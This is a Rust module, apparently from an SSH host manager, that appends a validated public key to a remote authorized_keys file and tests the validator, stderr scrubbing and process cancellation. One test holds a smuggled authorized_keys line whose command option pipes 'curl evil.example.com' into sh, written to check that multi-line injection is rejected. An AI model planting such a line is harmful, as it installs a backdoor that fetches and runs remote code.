1use std::io::{Read, Write};
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::atomic::{AtomicBool, Ordering};
16use std::sync::{Arc, Mutex};
17
18use log::debug;
19
20use crate::snippet::ChildGuard;
21
22#[derive(Debug, Clone, PartialEq, Eq)]
27pub enum KeyPushOutcome {
28 Appended,
30 AlreadyPresent,
32 Failed(String),
36 NeedsPassword {
41 detail: String,
42 host: Option<String>,
43 },
44 UnknownHostKey {
48 detail: String,
49 host: Option<String>,
50 },
51}
52
53#[derive(Clone, Default, PartialEq, Eq)]
57pub struct PushAuth {
58 pub askpass: Option<String>,
59 pub session_password: Option<String>,
60 pub bw_session: Option<String>,
61 pub trust_new_host_key: bool,
62}
63
64impl std::fmt::Debug for PushAuth {
67 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
68 f.debug_struct("PushAuth")
69 .field("askpass", &self.askpass)
70 .field("session_password", &self.session_password.is_some())
71 .field("bw_session", &self.bw_session.is_some())
72 .field("trust_new_host_key", &self.trust_new_host_key)
73 .finish()
74 }
75}
76
77#[derive(Clone, Default)]
81pub struct InflightChild(Arc<Mutex<Option<Arc<ChildGuard>>>>);
82
83impl InflightChild {
84 fn set(&self, guard: Arc<ChildGuard>) {
85 *self.0.lock().unwrap_or_else(|e| e.into_inner()) = Some(guard);
86 }
87
88 fn clear(&self) {
89 self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
90 }
91
92 pub fn terminate(&self) {
94 let guard = self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
95 if let Some(g) = guard {
96 g.terminate();
97 }
98 }
99
100 #[cfg(test)]
101 pub(crate) fn is_set(&self) -> bool {
102 self.0.lock().unwrap_or_else(|e| e.into_inner()).is_some()
103 }
104}
105
106#[derive(Debug, Clone, PartialEq, Eq)]
109pub struct KeyPushResult {
110 pub alias: String,
111 pub outcome: KeyPushOutcome,
112}
113
114const ABORTED: &str = "canceled";
117
118const STDERR_BUDGET: usize = 200;
122
123const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
129const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
130const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
131
132const REMOTE_SNIPPET: &str = r#"umask 077
160if [ ! -d ~/.ssh ]; then
161 mkdir -p ~/.ssh
162 chmod 700 ~/.ssh
163fi
164if [ ! -f ~/.ssh/authorized_keys ]; then
165 touch ~/.ssh/authorized_keys
166 chmod 600 ~/.ssh/authorized_keys
167fi
168PUBKEY=$(cat | tr -d '\r')
169if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
170 echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
171 exit 0
172fi
173printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
174echo __PURPLE_KEY_PUSH:APPENDED__
175"#;
176
177pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
182 let trimmed = stdout.trim();
183 let last = trimmed
184 .lines()
185 .map(|l| l.trim_end_matches('\r').trim())
186 .rfind(|l| !l.is_empty())?;
187 match last {
188 MARKER_APPENDED => Some(KeyPushOutcome::Appended),
189 MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
190 MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
191 "remote append failed (disk full, read-only mount?)".to_string(),
192 )),
193 _ => None,
194 }
195}
196
197fn scrub_stderr(raw: &str) -> String {
202 let cleaned: String = raw
203 .chars()
204 .filter(|c| !c.is_control() || *c == '\n')
205 .collect();
206 let joined = cleaned
207 .lines()
208 .map(str::trim)
209 .filter(|l| !l.is_empty())
210 .collect::<Vec<_>>()
211 .join(" ");
212 if joined.chars().count() > STDERR_BUDGET {
213 joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
214 } else {
215 joined
216 }
217}
218
219pub(crate) fn build_push_command(alias: &str, config_path: &Path, auth: &PushAuth) -> Command {
227 let mut cmd = Command::new("ssh");
228 cmd.arg("-F")
229 .arg(config_path)
230 .arg("-T")
231 .arg("-o")
232 .arg("ConnectTimeout=10")
233 .arg("-o")
239 .arg("ServerAliveInterval=10")
240 .arg("-o")
241 .arg("ServerAliveCountMax=3")
242 .arg("-o")
243 .arg("ControlMaster=no")
244 .arg("-o")
245 .arg("ControlPath=none");
246 let strict = if auth.trust_new_host_key {
247 "StrictHostKeyChecking=accept-new"
248 } else {
249 "StrictHostKeyChecking=yes"
250 };
251 cmd.arg("-o")
252 .arg(strict)
253 .arg("-o")
254 .arg(crate::askpass_env::SINGLE_PASSWORD_PROMPT_OPT);
255 if crate::askpass_env::needs_batch_mode(
256 auth.askpass.as_deref(),
257 auth.session_password.as_deref(),
258 ) {
259 cmd.arg("-o").arg(crate::askpass_env::BATCH_MODE_OPT);
260 }
261 cmd.arg("--")
262 .arg(alias)
263 .arg(REMOTE_SNIPPET)
264 .stdin(Stdio::piped())
265 .stdout(Stdio::piped())
266 .stderr(Stdio::piped());
267
268 crate::askpass_env::configure_auth(
269 &mut cmd,
270 alias,
271 config_path,
272 auth.askpass.as_deref(),
273 auth.session_password.as_deref(),
274 auth.bw_session.as_deref(),
275 );
276
277 #[cfg(unix)]
280 unsafe {
285 use std::os::unix::process::CommandExt;
286 cmd.pre_exec(|| {
287 libc::setpgid(0, 0);
288 Ok(())
289 });
290 }
291 cmd
292}
293
294pub fn push_to_host(
301 pubkey: &str,
302 alias: &str,
303 config_path: &Path,
304 auth: &PushAuth,
305 cancel: &Arc<AtomicBool>,
306 inflight: &InflightChild,
307) -> KeyPushOutcome {
308 if cancel.load(Ordering::Relaxed) {
309 return KeyPushOutcome::Failed(ABORTED.to_string());
310 }
311
312 let mut cmd = build_push_command(alias, config_path, auth);
313
314 let mut child = match cmd.spawn() {
315 Ok(c) => c,
316 Err(e) => {
317 debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
318 return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
319 }
320 };
321
322 let stdin = child.stdin.take();
323 let stdout_pipe = child.stdout.take();
324 let stderr_pipe = child.stderr.take();
325 let guard = Arc::new(ChildGuard::new(child));
326 inflight.set(Arc::clone(&guard));
327
328 if let Some(mut stdin) = stdin {
331 let payload = if pubkey.ends_with('\n') {
332 pubkey.to_string()
333 } else {
334 format!("{}\n", pubkey)
335 };
336 if let Err(e) = stdin.write_all(payload.as_bytes()) {
337 debug!(
338 "[purple] key_push: stdin write failed alias={} err={}",
339 alias, e
340 );
341 guard.terminate();
342 inflight.clear();
343 return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
344 }
345 drop(stdin);
347 }
348
349 let stderr_reader = std::thread::spawn(move || {
352 let mut buf = Vec::new();
353 if let Some(mut pipe) = stderr_pipe {
354 let _ = pipe.read_to_end(&mut buf);
355 }
356 buf
357 });
358 let mut stdout_buf = Vec::new();
359 if let Some(mut pipe) = stdout_pipe {
360 let _ = pipe.read_to_end(&mut stdout_buf);
361 }
362 let stderr_buf = stderr_reader.join().unwrap_or_default();
363
364 let status = guard.wait();
365 inflight.clear();
366
367 let Some(status) = status else {
368 debug!("[purple] key_push: wait failed alias={}", alias);
369 return KeyPushOutcome::Failed("wait ssh: child already reaped".to_string());
370 };
371
372 if cancel.load(Ordering::Relaxed) {
373 debug!(
374 "[purple] key_push: cancel hit mid-connection alias={}",
375 alias
376 );
377 return KeyPushOutcome::Failed(ABORTED.to_string());
378 }
379
380 let stdout = String::from_utf8_lossy(&stdout_buf);
381 let stderr = String::from_utf8_lossy(&stderr_buf);
382
383 if !status.success() {
384 let filtered = crate::file_browser::filter_ssh_warnings(&stderr);
387 let scrubbed = scrub_stderr(&filtered);
388 let msg = if scrubbed.is_empty() {
389 format!("ssh exited {}", status)
390 } else {
391 scrubbed
392 };
393 if crate::connection::is_unknown_host_key(&stderr) {
394 let host = crate::connection::unknown_host_key_host(&stderr).map(str::to_string);
395 debug!(
396 "[purple] key_push: unknown host key alias={} host={:?} status={}",
397 alias, host, status
398 );
399 return KeyPushOutcome::UnknownHostKey { detail: msg, host };
400 }
401 if crate::connection::needs_password(&stderr) {
402 let host = crate::connection::denied_host(&stderr).map(str::to_string);
403 debug!(
404 "[purple] key_push: needs password alias={} refused_by={:?} status={}",
405 alias, host, status
406 );
407 return KeyPushOutcome::NeedsPassword { detail: msg, host };
408 }
409 debug!(
410 "[purple] key_push: failed alias={} status={} stderr={}",
411 alias, status, msg
412 );
413 return KeyPushOutcome::Failed(msg);
414 }
415
416 match classify_stdout(&stdout) {
417 Some(outcome) => {
418 debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
419 outcome
420 }
421 None => {
422 let preview = scrub_stderr(&stdout);
423 KeyPushOutcome::Failed(format!(
424 "unexpected snippet output: {}",
425 if preview.is_empty() {
426 "(empty)"
427 } else {
428 &preview
429 }
430 ))
431 }
432 }
433}
434
435pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
439
440const ALLOWED_KEY_TYPES: &[&str] = &[
445 "ssh-rsa",
446 "ssh-ed25519",
447 "ssh-dss",
448 "ecdsa-sha2-nistp256",
449 "ecdsa-sha2-nistp384",
450 "ecdsa-sha2-nistp521",
451 "sk-ssh-ed25519@openssh.com",
452 "sk-ecdsa-sha2-nistp256@openssh.com",
453];
454
455#[derive(Debug, Clone, PartialEq, Eq)]
457pub enum PubkeyValidationError {
458 Empty,
459 MultiLine,
460 UnsupportedType(String),
461 MalformedBase64,
462 TooLarge(u64),
463 NotARegularFile,
464}
465
466pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
473 let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
474 if trimmed.is_empty() {
475 return Err(PubkeyValidationError::Empty);
476 }
477 if trimmed.lines().count() != 1 {
478 return Err(PubkeyValidationError::MultiLine);
479 }
480 let mut parts = trimmed.splitn(3, ' ');
481 let typ = parts.next().unwrap_or("");
482 let blob = parts.next().unwrap_or("");
483 if !ALLOWED_KEY_TYPES.contains(&typ) {
484 return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
485 }
486 if blob.is_empty() {
487 return Err(PubkeyValidationError::MalformedBase64);
488 }
489 use base64::Engine;
490 if base64::engine::general_purpose::STANDARD
491 .decode(blob.as_bytes())
492 .is_err()
493 {
494 return Err(PubkeyValidationError::MalformedBase64);
495 }
496 Ok(trimmed.to_string())
497}
498
499pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
504 use std::io::Read;
505 let mut opts = std::fs::OpenOptions::new();
506 opts.read(true);
507 #[cfg(unix)]
508 {
509 use std::os::unix::fs::OpenOptionsExt;
510 opts.custom_flags(libc::O_NOFOLLOW);
511 }
512 let f = opts
513 .open(path)
514 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
515 let meta = f
516 .metadata()
517 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
518 if !meta.file_type().is_file() {
519 return Err(PubkeyValidationError::NotARegularFile);
520 }
521 if meta.len() > PUBKEY_MAX_BYTES {
522 return Err(PubkeyValidationError::TooLarge(meta.len()));
523 }
524 let mut buf = String::new();
525 f.take(PUBKEY_MAX_BYTES)
526 .read_to_string(&mut buf)
527 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
528 Ok(buf)
529}
530
531pub fn pubkey_path_for(paths: Option<&crate::runtime::env::Paths>, display_path: &str) -> PathBuf {
535 let with_pub = format!("{}.pub", display_path);
536 if let Some(rest) = with_pub.strip_prefix("~/")
537 && let Some(p) = paths
538 {
539 return p.home().join(rest);
540 }
541 PathBuf::from(with_pub)
542}
543
544#[cfg(test)]
545mod tests {
546 use super::*;
547
548 #[test]
549 fn classify_stdout_appended() {
550 assert_eq!(
551 classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
552 Some(KeyPushOutcome::Appended)
553 );
554 }
555
556 #[test]
557 fn classify_stdout_already_present() {
558 assert_eq!(
559 classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
560 Some(KeyPushOutcome::AlreadyPresent)
561 );
562 }
563
564 #[test]
565 fn classify_stdout_append_failed() {
566 match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
567 Some(KeyPushOutcome::Failed(_)) => {}
568 other => panic!("expected Failed, got {:?}", other),
569 }
570 }
571
572 #[test]
573 fn classify_stdout_motd_then_marker() {
574 let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
577 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
578 }
579
580 #[test]
581 fn classify_stdout_motd_word_collision_does_not_match() {
582 let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
586 assert_eq!(classify_stdout(stdout), None);
587 }
588
589 #[test]
590 fn classify_stdout_crlf_line_endings() {
591 let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
594 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
595 }
596
597 #[test]
598 fn classify_stdout_unknown_returns_none() {
599 assert_eq!(classify_stdout("hello\nworld\n"), None);
600 }
601
602 #[test]
603 fn classify_stdout_empty_returns_none() {
604 assert_eq!(classify_stdout(""), None);
605 assert_eq!(classify_stdout("\n\n"), None);
606 }
607
608 #[test]
609 fn scrub_stderr_drops_control_bytes() {
610 let raw = "\x1b[31mError: connection refused\x1b[0m\n";
612 let scrubbed = scrub_stderr(raw);
613 assert!(!scrubbed.contains('\x1b'));
614 assert!(scrubbed.contains("Error"));
615 }
616
617 #[test]
618 fn scrub_stderr_joins_lines() {
619 let raw = "line1\nline2\nline3\n";
620 assert_eq!(scrub_stderr(raw), "line1 line2 line3");
621 }
622
623 #[test]
624 fn scrub_stderr_truncates_long_input() {
625 let raw = "x".repeat(STDERR_BUDGET * 2);
626 let scrubbed = scrub_stderr(&raw);
627 assert!(scrubbed.ends_with("..."));
628 assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
629 }
630
631 #[test]
632 fn scrub_stderr_empty_input() {
633 assert_eq!(scrub_stderr(""), "");
634 assert_eq!(scrub_stderr(" \n\n \n"), "");
635 }
636
637 #[test]
638 fn pubkey_path_appends_pub_suffix() {
639 let p = pubkey_path_for(None, "/tmp/id_ed25519");
640 assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
641 }
642
643 #[test]
644 fn pubkey_path_expands_tilde() {
645 let paths = crate::runtime::env::Paths::new("/home/u");
646 let p = pubkey_path_for(Some(&paths), "~/.ssh/id_ed25519");
647 assert!(!p.to_string_lossy().starts_with('~'));
648 assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
649 }
650
651 #[test]
652 fn push_to_host_short_circuits_when_cancel_is_set() {
653 let cancel = Arc::new(AtomicBool::new(true));
658 let inflight = InflightChild::default();
659 let outcome = push_to_host(
660 "ssh-ed25519 AAAA test@host",
661 "this-alias-does-not-exist",
662 std::path::Path::new("/tmp/purple-nonexistent-config"),
663 &PushAuth::default(),
664 &cancel,
665 &inflight,
666 );
667 match outcome {
668 KeyPushOutcome::Failed(msg) => {
669 assert!(
670 msg.contains("cancel"),
671 "expected cancel message, got: {}",
672 msg
673 );
674 }
675 other => panic!("expected Failed(cancelled), got {:?}", other),
676 }
677 assert!(!inflight.is_set(), "no child was spawned");
678 }
679
680 #[test]
681 fn push_to_host_against_missing_config_fails_and_clears_inflight() {
682 let cancel = Arc::new(AtomicBool::new(false));
686 let inflight = InflightChild::default();
687 let outcome = push_to_host(
688 "ssh-ed25519 AAAA test@host",
689 "this-alias-does-not-exist",
690 std::path::Path::new("/tmp/purple-nonexistent-config"),
691 &PushAuth::default(),
692 &cancel,
693 &inflight,
694 );
695 assert!(
696 matches!(outcome, KeyPushOutcome::Failed(_)),
697 "got {outcome:?}"
698 );
699 assert!(!inflight.is_set());
700 }
701
702 #[test]
703 fn inflight_terminate_kills_a_running_child() {
704 let mut cmd = Command::new("sleep");
706 cmd.arg("30");
707 #[cfg(unix)]
708 unsafe {
711 use std::os::unix::process::CommandExt;
712 cmd.pre_exec(|| {
713 libc::setpgid(0, 0);
714 Ok(())
715 });
716 }
717 let child = cmd.spawn().expect("spawn sleep");
718 let guard = Arc::new(ChildGuard::new(child));
719 let inflight = InflightChild::default();
720 inflight.set(Arc::clone(&guard));
721 assert!(inflight.is_set());
722 let started = std::time::Instant::now();
723 inflight.terminate();
724 assert!(
727 started.elapsed() < std::time::Duration::from_millis(100),
728 "terminate held the caller for {:?}",
729 started.elapsed()
730 );
731 assert!(!inflight.is_set());
732 let status = guard.wait();
734 assert!(started.elapsed() < std::time::Duration::from_secs(5));
735 assert!(status.is_some_and(|s| !s.success()));
736 }
737
738 #[cfg(unix)]
739 #[test]
740 fn a_child_that_ignores_sigterm_is_killed_by_the_waiting_thread() {
741 let mut cmd = Command::new("sh");
746 cmd.arg("-c")
747 .arg("trap '' TERM; while :; do sleep 0.05; done");
748 unsafe {
751 use std::os::unix::process::CommandExt;
752 cmd.pre_exec(|| {
753 libc::setpgid(0, 0);
754 Ok(())
755 });
756 }
757 let child = cmd.spawn().expect("spawn sh");
758 let guard = Arc::new(ChildGuard::new(child));
759 std::thread::sleep(std::time::Duration::from_millis(300));
762 let (tx, rx) = std::sync::mpsc::channel();
765 {
766 let guard = Arc::clone(&guard);
767 std::thread::spawn(move || {
768 let _ = tx.send(guard.wait());
769 });
770 }
771 let started = std::time::Instant::now();
772 guard.terminate();
773 assert!(
774 started.elapsed() < std::time::Duration::from_millis(100),
775 "terminate held the caller for {:?}",
776 started.elapsed()
777 );
778 let status = rx
779 .recv_timeout(std::time::Duration::from_secs(5))
780 .expect("the waiting thread must escalate to SIGKILL");
781 use std::os::unix::process::ExitStatusExt;
782 assert_eq!(
783 status.and_then(|s| s.signal()),
784 Some(libc::SIGKILL),
785 "SIGTERM was ignored, so only SIGKILL can have ended it"
786 );
787 }
788
789 fn push_args(auth: &PushAuth) -> Vec<String> {
790 build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
791 .get_args()
792 .map(|a| a.to_string_lossy().into_owned())
793 .collect()
794 }
795
796 fn push_env_names(auth: &PushAuth) -> Vec<String> {
797 build_push_command("web1", std::path::Path::new("/tmp/cfg"), auth)
798 .get_envs()
799 .filter_map(|(k, v)| v.map(|_| k.to_string_lossy().into_owned()))
800 .collect()
801 }
802
803 fn has_opt(args: &[String], value: &str) -> bool {
804 args.windows(2).any(|w| w[0] == "-o" && w[1] == value)
805 }
806
807 #[test]
808 fn build_push_command_without_auth_sets_batch_mode_and_no_askpass() {
809 let auth = PushAuth::default();
810 let args = push_args(&auth);
811 assert!(has_opt(&args, "BatchMode=yes"), "got: {args:?}");
812 assert!(has_opt(&args, "StrictHostKeyChecking=yes"), "got: {args:?}");
813 assert!(push_env_names(&auth).is_empty());
814 }
815
816 #[test]
817 fn build_push_command_with_source_wires_askpass_without_batch_mode() {
818 let auth = PushAuth {
819 askpass: Some("keychain".into()),
820 ..Default::default()
821 };
822 let args = push_args(&auth);
823 assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
824 let names = push_env_names(&auth);
825 assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
826 assert!(names.iter().any(|n| n == "SSH_ASKPASS_REQUIRE"));
827 }
828
829 #[test]
830 fn build_push_command_with_session_password_uses_oneshot_channel() {
831 let auth = PushAuth {
832 session_password: Some("hunter2".into()),
833 ..Default::default()
834 };
835 let args = push_args(&auth);
836 assert!(!has_opt(&args, "BatchMode=yes"), "got: {args:?}");
837 assert!(args.iter().all(|a| a != "hunter2"), "secret in argv");
838 let names = push_env_names(&auth);
839 assert!(names.iter().any(|n| n == "SSH_ASKPASS"));
840 assert!(
841 names
842 .iter()
843 .any(|n| n == crate::askpass_env::ONESHOT_SECRET_VAR)
844 );
845 }
846
847 #[test]
848 fn build_push_command_forwards_bw_session() {
849 let auth = PushAuth {
850 askpass: Some("bw:item".into()),
851 bw_session: Some("tok".into()),
852 ..Default::default()
853 };
854 assert!(push_env_names(&auth).iter().any(|n| n == "BW_SESSION"));
855 }
856
857 #[test]
858 fn build_push_command_always_limits_ssh_to_one_password_attempt() {
859 for auth in [
862 PushAuth::default(),
863 PushAuth {
864 askpass: Some("keychain".into()),
865 ..Default::default()
866 },
867 PushAuth {
868 session_password: Some("hunter2".into()),
869 ..Default::default()
870 },
871 ] {
872 let args = push_args(&auth);
873 assert!(has_opt(&args, "NumberOfPasswordPrompts=1"), "got: {args:?}");
874 }
875 }
876
877 #[test]
878 fn build_push_command_trust_retry_uses_accept_new() {
879 let auth = PushAuth {
880 trust_new_host_key: true,
881 ..Default::default()
882 };
883 let args = push_args(&auth);
884 assert!(
885 has_opt(&args, "StrictHostKeyChecking=accept-new"),
886 "got: {args:?}"
887 );
888 assert!(!has_opt(&args, "StrictHostKeyChecking=yes"));
889 }
890
891 #[test]
892 fn build_push_command_options_precede_the_separator() {
893 let args = push_args(&PushAuth::default());
894 let sep = args.iter().position(|a| a == "--").expect("-- present");
895 let last_opt = args.iter().rposition(|a| a == "-o").expect("-o present");
896 assert!(last_opt < sep, "got: {args:?}");
897 assert_eq!(args[sep + 1], "web1");
898 assert_eq!(args[sep + 2], REMOTE_SNIPPET);
899 }
900
901 #[test]
902 fn validate_pubkey_accepts_ed25519() {
903 let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
904 assert_eq!(validate_pubkey(line).unwrap(), line);
905 }
906
907 #[test]
908 fn validate_pubkey_strips_trailing_whitespace() {
909 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
910 let cleaned = validate_pubkey(raw).unwrap();
911 assert!(!cleaned.ends_with('\n'));
912 assert!(!cleaned.ends_with('\r'));
913 }
914
915 #[test]
916 fn validate_pubkey_rejects_empty() {
917 assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
918 assert_eq!(
919 validate_pubkey(" \n\n"),
920 Err(PubkeyValidationError::Empty)
921 );
922 }
923
924 #[test]
925 fn validate_pubkey_rejects_multi_line_command_injection() {
926 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
930 assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
931 }
932
933 #[test]
934 fn validate_pubkey_rejects_unknown_type() {
935 let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
936 match validate_pubkey(raw) {
937 Err(PubkeyValidationError::UnsupportedType(t)) => {
938 assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
939 }
940 other => panic!("expected UnsupportedType, got {:?}", other),
941 }
942 }
943
944 #[test]
945 fn validate_pubkey_rejects_bogus_base64() {
946 let raw = "ssh-ed25519 not!valid!base64!?? comment";
947 assert_eq!(
948 validate_pubkey(raw),
949 Err(PubkeyValidationError::MalformedBase64)
950 );
951 }
952
953 #[test]
954 fn validate_pubkey_rejects_empty_blob() {
955 let raw = "ssh-ed25519 comment";
956 assert_eq!(
957 validate_pubkey(raw),
958 Err(PubkeyValidationError::MalformedBase64)
959 );
960 }
961
962 #[test]
963 fn read_pubkey_file_rejects_oversize() {
964 let dir = tempfile::tempdir().expect("tempdir");
965 let path = dir.path().join("huge.pub");
966 let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
967 std::fs::write(&path, body).unwrap();
968 match read_pubkey_file(&path) {
969 Err(PubkeyValidationError::TooLarge(n)) => {
970 assert!(n > PUBKEY_MAX_BYTES);
971 }
972 other => panic!("expected TooLarge, got {:?}", other),
973 }
974 }
975
976 #[cfg(unix)]
977 #[test]
978 fn read_pubkey_file_rejects_symlink() {
979 let dir = tempfile::tempdir().expect("tempdir");
980 let target = dir.path().join("real.pub");
981 std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
982 let link = dir.path().join("link.pub");
983 std::os::unix::fs::symlink(&target, &link).unwrap();
984 assert!(matches!(
985 read_pubkey_file(&link),
986 Err(PubkeyValidationError::NotARegularFile)
987 ));
988 }
989
990 #[test]
991 fn remote_snippet_has_expected_markers() {
992 assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
995 assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
996 assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
997 assert!(REMOTE_SNIPPET.contains("grep -qxF"));
998 assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
1001 }
1002}